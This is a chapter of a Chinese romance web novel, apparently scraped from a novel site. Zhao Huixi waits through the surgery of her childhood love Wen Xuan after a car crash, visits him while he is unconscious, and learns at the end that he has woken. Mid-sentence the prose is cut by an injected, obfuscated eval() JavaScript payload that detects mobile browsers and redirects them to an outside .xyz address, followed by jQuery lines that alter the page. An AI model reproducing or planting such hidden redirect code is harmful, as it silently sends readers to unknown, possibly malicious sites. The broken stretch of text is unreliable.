34. 只是当时已惘然
作品:《无声海啸》 韩淑雅赶到医院的时候,手术正在进行中。
她扶着墙深吸了好几口气,段晴天在她旁边托着她的胳膊,以防她晕倒。
“闻暄……闻暄他……”
话还没说完,韩淑雅就以泪洗面。
段晴天也是心急如焚,可她压下焦急的情绪,轻声安慰韩淑雅,“闻暄他福大命大,肯定会没事的,手术会平安的。”
韩淑雅嘴唇微微发抖,“我……我之前刚从寺里给他求的平安符,还没来得及送……送给他,他怎么就又进去了。”
韩淑雅哭得上气不接下气,完全没了平时那股高贵的气焰,取而代之的是惶恐不安的心情。
“到底怎么回事啊,段小姐。”
段晴天的眼睛暗了一下。
几个小时前,他们走出机场,临上车前,她被一通电话打扰,让闻暄和司机先走,自己紧随其后。
她坐在一辆出租车上,让师傅跟着前方的黑色的保姆车。
然后,一辆银色的面包车直直地撞翻了那辆融入夜色的保姆车。
车子不断翻滚,她的心也跟着在剧烈地跳动,手在疯狂地颤抖。
她面如土色地推开车门,确认过车子此刻不会当场爆炸后,她颤颤巍巍地在一片黑色钢铁中寻找的闻暄和司机的身影。
没有看到人,可她看到了一股鲜红的血液。
段晴天的心凉了半截。
可她马上恢复理智,拨打了120和110,在此过程中,她用尽浑身解数控制住自己发颤的手,拨开一层又一层的废铁,可只能看到越来越多的血液染红了漆黑的地面。
“闻暄,你在哪呢?在哪啊?你说句话行吗?”
理智又被焦躁取代,她变得六神无主,在救护车到来之际,她终于找到了闻暄常戴的腕表,顺着血液的踪迹,她找到了闻暄。
在医护人员的协助下,一齐将闻暄与司机从车厢里拽了出来。
段晴天语无伦次,脑子里一堆词语乱蹦,可完全不知道该讲些什么,“他……他……还……”
医生回了她一句:“脉搏还在跳动,不要着急。”
韩淑雅双腿发软,“那个肇事司机呢?”
“跑了,但警察在找,一定会找到了,他们也会没事的。”
面包车是从侧面撞过去的,闻暄伤得比司机要重,手术时间也比司机要长,此时司机已经手术成功,可闻暄还躺在里面生死未卜。
不远处传来了匆忙的脚步声,听上去急匆匆的,段晴天警惕地看过去,可看清楚来人后,她又觉得特别苦涩,像心脏被塞进放满苦瓜的罐子里。
“你怎么知道的?”
赵回溪把自己包裹的很严实,她整个人在萧瑟的夜里显得更加单薄瘦弱,像是一股轻柔的夏风。她眼眶里全是泪水,都看不清对面人的脸庞,“热搜。我经纪人的爱人有个医生朋友,他说闻暄在这家医院,我一层一层找上来的。”
她看着不远处那个红色的灯,内心惶恐又局促,有些话想问又不敢问。
韩淑雅眯了眯眼睛,又深吸一口气,“你是,小溪吗?”
赵回溪艰难地摆出一个笑容,“是我,阿姨,别来无恙。”
韩淑雅在得知闻暄出车祸后,整个人像是老了十岁,她虚弱得站不住脚,只能坐在椅子上看看维持着端坐的姿势。
放平时,她们一定会寒暄很久,可现在,没有人有多余的精力去多说一句话,躺在里面的那个人耗费了她们太多的心思,也牵动着无数人的心。
“韩女士,我找个司机把您送回去吧,您好好休息一下,等手术结束了我叫您。”
“段小姐……我哪能睡得着呢?我唯一的亲人如今躺在手术室里生死难料,我怎么会睡得着呢……”
话音刚落,她就重重地咳嗽了几声。
“阿姨,您回去吧,他会没事的,会没事的。”
赵回溪也不知道自己是说给别人听还是自己听。
韩淑雅细细盯着她看了一会,低下头在包里翻找出一个小挂件,递给赵回溪。
韩淑雅苦笑了一下,“这是我之前去寺里给你们求的,我想,未来有一天,我肯定会再遇到你的,只是不巧,是在这个时机下。”
赵回溪双手接过,如视珍宝,“谢谢您。”
韩淑雅摸了一下她的手,展颜一笑,“你没变。”
“您也没变,闻暄也没变。”
那位优雅的夫人此刻又像一个轻飘飘的魂魄,声音虚弱,“我希望他好,我希望他一辈子都好,可总是事与愿违。”
“会好的,那么多次,他都扛过来了。”
韩淑雅捂住了心口,扶着墙的指尖泛白,“这么多年,他在鬼门关里走了三遭……你说我当初是不是不该生他?太过命运多舛……”
“阿姨,您不要这样说,您真的是一个很好的母亲。”赵回溪轻轻抚摸着她的手,如今韩淑雅的情绪一定比在场的所有人都要焦急,她说的再多也无济于事。
半小时后,韩淑雅实在是撑不住了,靠在椅子上晕了过去,段晴天和医生把她送到了抢救室里,赵回溪蹲在手术室门口,大脑一片空白。
她听到这个消息的时候,全身都在颤抖。
邢玉让她稳住情绪,说有可能是造谣。
她给闻暄拨了十几个电话,全是机械女声说出的请稍后再拨。
闻暄不会不接她的电话的。
关之衡告诉他们,他知道闻暄在市医院里进行抢救,邢玉让她不要冲动行事,可她全身的血管好像都充斥着刺骨的冰块,她只是呼吸一次,都觉得心脏剧痛。
“我要去看他。”
“回溪……现在这种紧要关头,会有很多狗仔偷拍……”
赵回溪握紧了拳头,“闻暄会不会死?”
“回溪,如果你执意要去的话,我朋友是市医院的医生,他知道一条小路,可以带你过去。”关之衡拿起西装外套,边走边讲。
“谢谢你,之衡哥。”她又转头看向邢玉,“玉姐,我循规蹈矩了这么多年,今天离经叛道一次行吗?”
邢玉没有回答她,她问关之衡,“你那个朋友可信吗?”
“可信,我们认识很多年了。”
邢玉点了点头,随即看向赵回溪,“一个小时,赵回溪。”
她闭上眼睛,再睁开,眼前是惨白的灯管,周遭空无一人,刺鼻的消毒水味显得整个医院冷清又诡异,她抱紧了自己的胳膊,轻轻拍着自己的肩膀,安抚自己微微颤抖的身体。
没事的,他会没事的。
段晴天回来后,劝她赶紧离开,赵回溪双目空洞无神,她只问:“那个肇事司机,查出来了吗?”
段晴天摇了摇头,“还没有。”
两个人相顾无言,赵回溪垂着眼睛不知道在想什么。
段晴天先开了口:“你怎么过来的?你家离这里很远吧?”
“我经纪人在下面,他们送我过来的。”
邢玉在医院附近观察动向,一旦有疑似记者狗仔身份的人出现,便会给她打电话让她回去。
这时,她的手机响了,如同敲响了生命的钟。
“我要走了。”
赵回溪只露出一双眼睛,她转动一下眼球,还能看出是个活人。
“回去吧,他福大命大,等他手术成功了,我给你打电话。”
赵回溪一步三回头,“手术中”的灯牌还在不停地闪动,明明是夏天,可她却觉得有股寒意蔓延她的全身,红色的灯牌就像被撒了一盆鲜血,吊诡又凄凉。
关之衡开着车,邢玉坐在副驾驶上,时不时往后看一眼。
“需不需要我陪你一晚?”
赵回溪想摇头,可她浑身都被抽干了力气,连手都抬不动,她咬着牙想动作,可身体根本不听她的使唤,只有眼泪无意识地慢慢涌出。
邢玉递给她一包纸巾。
泪水染湿了她的口罩和衣襟,赵回溪明明身上毫发无损,可她却觉得心如刀绞痛不欲生。
到楼下的时候,是邢玉把她从车里扶出来的,她腿软的撑不住整个身体。
邢玉和关之衡说:“你先回家吧,我陪她一晚。”
“好,有事找我就好。”
邢玉费了九牛二虎之力才把赵回溪抬上楼,进家门后,她把赵回溪拖到床上,叉着腰问:“还想哭吗?”
赵回溪四仰八叉地躺在床上,眼泪早已流干,身体极度缺水,她艰难地蠕动了一下嘴唇,吐出两个字,“喝……水。”
“行,你等着。”
赵回溪动不了,水也喝不了,邢玉翻箱倒柜找出来一支吸管,她这才勉强吞进去几口温水。
邢玉见她痛彻心扉,自己也好受不到哪里去,她轻声问:“需要去看医生吗?”
赵回溪莽足了劲摇了摇头,又蓄力,说:“一会……就好了……我……我想……自己……稍微缓缓……”
“好,不舒服的时候叫我,我送你去医院。”
邢玉帮她把衣服换了,临出卧室前,替她关上了灯,霎时,卧室里陷入死寂。
赵回溪望着窗外的月亮,眼泪又止不住地往外流淌,她想哭出声,可声带好像失去了发声的功能,她攥着自己的脖子,一股恶心感涌上心头,她想吐,可根本吐不出来东西。
她爬下床,跪在床前,倚在床头柜上,迷茫地看着钟表,最终因情绪起伏过大,体力不支,彻底晕了过去。
邢玉第二天一早看到她的时候,连忙把她叫醒。
“回溪,回溪,赵回溪!醒醒。”
赵回溪睁开朦胧的睡眼,她坐在地上晕了几个小时,如今腰疼得厉害。
她撑着床头柜勉强站起来,整个人维持着一个极其怪异又扭曲的姿势。
“嘶。”她动一下,她就抽一口凉气,“疼。”
“我带你去医院吧?今天正好不用去试戏。”
听到医院,赵回溪眼睛亮了一下,她抓住邢玉的手,像个格外渴求答案的孩子,“闻暄手术成功了吗?”
“听关之衡说,手术还可以,就是依旧处于昏迷状态,至于什么时候醒……”邢玉摇了摇头。
永远也醒不过来了吗?
他要永远躺在那张病床上吗?
要永远闭上那双透亮的眼睛,敛起温暖的笑容吗?
邢玉扶住她,安慰道:“起码已经脱离生命危险了,至于醒不醒,我觉得也是迟早的事,你别太担心了,先把自己顾好吧,好吗?”
赵回溪呆滞地点了点头,像个提线木偶一样靠在邢玉身上。
“先吃早饭,吃完就去医院。”邢玉拍了拍她的肩膀。
赵回溪在骨科诊室坐了好半晌,医生仔细地给邢玉讲她的病情,赵回溪把头瞥向窗外。
医院里有棵法国梧桐,知了在上面乱叫,枝桠上停着几只洁白如纸的蝴蝶,它们挥了挥翅膀,从梧桐树上飞向了人工湖里的荷花,蜻蜓轻点水面,掀起一阵又一阵的涟漪,湖边有几位坐着轮椅的病人,正指着湖面上的蝴蝶发笑。
这是夏天独有的景色。
可她讨厌夏天。
一提起夏天,闷热和潮湿二词便涌入脑海,她想到长长的头发被汗水贴在湿热的脖颈上,想到可恨的蚊虫叮咬着她外露的皮肤,想到冰激凌扛不住燥热,慢慢融化,奶油顺着蛋筒滑下,她的手会被甜腻黏住。
可是,她爱的那个人出现在她讨厌的夏天。
夏日的太阳总是很毒,阳光灿烂得让人睁不开眼,那个人就像她世界里的第二个太阳,自出现起,就将她心中的晦暗全部照明。
“你为什么要叫闻暄。”
“暄的意思是,像太阳一样温暖。”
像太阳一样温暖。
她心中的两个太阳,一个高挂于碧空,光芒万丈,一个静躺于病房,垂死挣扎。
“回溪,回溪!”邢玉见她没反应,继续晃了晃她的肩膀,“走神了?”
她点点头又摇摇头。
走出诊室后,她扯住邢玉的衣角,“我可以,去看他一下吗?”
邢玉盯了她一会,又叹了一口气,拿出手机,“我问问段晴天吧。”
“好,谢谢您,玉姐。”
她站在一旁听着邢玉与段晴天的对话,双眼黏在自己的鞋面上,而后听到邢玉说:“走吧。”
赵回溪走得很快,可到闻暄病房门口时,却迟迟不敢进去。
“进去吧,我在门口帮你守着。”
她皱着眉头,“玉姐。”
“我在呢,怎么了?”
赵回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049540|161161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
溪的指尖又开始颤抖,“我有点害怕。”
邢玉拍了拍她的背,“怕什么?没事,去吧,大胆一次,赵回溪。”
她觉得自己的手仿佛有千斤重,赵回溪把手搭在把手上,然后向下一压,“咔哒”一声,门开了。
先看到的一束明媚的阳光,然后,她再往前走几步,是一张病床。
看清楚床上的人后,她的心像被浓醋泡过。
一棵原本高大旺盛的树,经过雷电和暴雨的猛烈袭击后,只剩下憔悴的枝干。
各种管子缠在他身上,就像被蛮横的爬山虎覆盖住的枯萎的树桩。
隔壁的仪器“滴答滴答”地响着,赵回溪往前走了一步。
她碰了一下闻暄弯曲的手指。
是温热的,也是湿润的。
她的泪水落在他的手指上,她又拿出纸巾把他手上晶莹的泪珠擦干净。
她从来没有见过这么安静的闻暄。
“我再也不让你闭嘴了,你醒来,和我说句话,好不好?”
“平时总是你求我,这次,换我求你,求你快醒来。”
“我当初该和你好好告别的,对不起,对不起……如果能回到过去,我一定会……一定会抱一下你……其实我也很想你,其实我也是喜欢你的……你能不能醒来,我讲给你听。”
明明是酷暑,可她却看到梅花落了下来。
门被敲响了。
“医生要来查房,咱们得走了。”
赵回溪擦干净眼睛,勉强扯出一个笑,“好。”
段晴天在病房外喊住她:“赵老师,团团和圆圆,先在你那里放着吧,要是东西不够,你就去闻暄家里取,他那个人,应该会告诉你他家的密码吧?”
0719,她知道的,那是二十年前他们相遇的日子。
邢玉开着车带她去了闻暄小区,保安看到陌生车辆,照旧不让通行。
赵回溪放下车窗,冲保安笑了一下,“叔叔,我去11号楼1601。”
“噢噢,是你啊,我记得你,走吧。”
赵回溪感激一笑,邢玉一头雾水。
“你来过?”
她点头,“嗯。”
“什么时候?”
“前几天。”怕邢玉多想,她又补了一句,“没待多久我就回家了。”
邢玉没再打破砂锅问到底,她转了几个弯,停到11号楼楼下,“我就不上去了,你自己去吧。”
“好。”
再次站在闻暄家门口,她竟有一种恍如隔世的感觉。
0719,然后,锁芯一转,门露出来一条缝隙。
她去阳台上找出了闻暄家里所有的猫粮和狗粮,陆续将它们搬到门口,搬到最后一袋的时候,她在电视柜前驻足。
她放下手中的袋子,蹲下身子,拿起那个相片。
两个七岁的孩童肩并肩地靠着,露出天真烂漫的笑,感染了赵回溪,她抿了抿嘴唇,准备放下相框时,却感觉到相框背后有点凹陷的痕迹。
她转过相框,盯着那一行笔画松散又略显稚嫩的字,嘴角是压不住的苦笑。
“我喜欢赵回溪,永远。”
她的手指在相框上也描摹出一行字。
我喜欢闻暄,永远。
她给这个相框的正反面拍了张照,回家后,找出封尘已久的打印机,将两张相片彩印了出来,又在背后写了一行小字,贴在了卧室的床头。
赵回溪终于有勇气打开了微博。
此时的微博热搜已经乱成一锅粥了,原本以理智著称的闻暄大粉们此刻也像一头头野狼,守卫着他们即将崩塌的城池。
【闻暄不会有事的。】
【在这个节骨眼上,还敢骂闻暄的,小心我去撕烂你们的狗嘴。】
【一群贱人,就是见不得别人好是吧?整天让这个明星去死让那个明星去死,你先去死吧。】
【别吵了……看在闻暄现在还昏迷的份上,都放过他吧,谁也不想看到这个画面。】
【肇事司机给我滚出来!滚去坐.牢!】
【盲猜这司机背后有人,我觉得这事应该不简单。】
【绝对的,但到底是谁敢害闻暄呢?我想不明白?】
【不会是路铮吧?我记得他俩是仇家。】
【滚,我们家路铮这几天在美国拍电影呢,别把屎盆子乱扣,而且这段时间路铮对闻暄的仇明显没那么深了,怎么可能会冒险去害他?】
【是不是某个集团老总看他不顺眼?我记得闻暄爸爸之前经商来着。】
【有可能有可能,太恐怖了,父亲被除掉了,儿子也不放过吗?】
网络上众说纷纭,赵回溪看的头疼脑胀。
她躺在床上,窗外吹来一阵风,掀起那两张彩印出来的照片,纸张与墙面接触而发出的摩擦声听得她心痒。
赵回溪拍了一下那两张纸,然后从床上坐起来。
“团团,圆圆。”
两只小动物乖乖地跑到她身边,又爬到床上,窝在她怀里。
“想他吗?”
圆圆呜咽了一声。
她用下巴蹭了一下圆圆毛茸茸的脑袋,团团见状,舔了一下她的脸颊。
“乖,他会好的。”
这话说多了,像在自我催眠,可催眠药吃多了,也会失效的。
她掐了一下自己的手臂,用疼痛来缓解内心的焦灼。
一整个下午,她都浑浑噩噩地待在床上。
晚上六点,她点的外卖到了,赵回溪无精打采地接过快递,道了一声谢。
明明她很喜欢这家店铺的面,可此刻却味同嚼蜡。
她吃了没一半就恶心想吐,跑进洗手间把胃里的东西吐了个一干二净。
她在药箱里翻出药,就着温水咽了下去。
赵回溪坐在地板上愣神,半晌后,她被团团的叫声吓了一跳,她看到团团叼着她的手机走了过来,那手机还在不停地震动。
她接过手机,看到来电是个陌生电话,便直接挂断。
可这电话锲而不舍地给她打,全部的坏情绪一齐涌上心头,她接了电话,还没问出有什么事,就听到了熟悉的声音。
段晴天说:“赵回溪,是我。”
“闻暄醒了。”

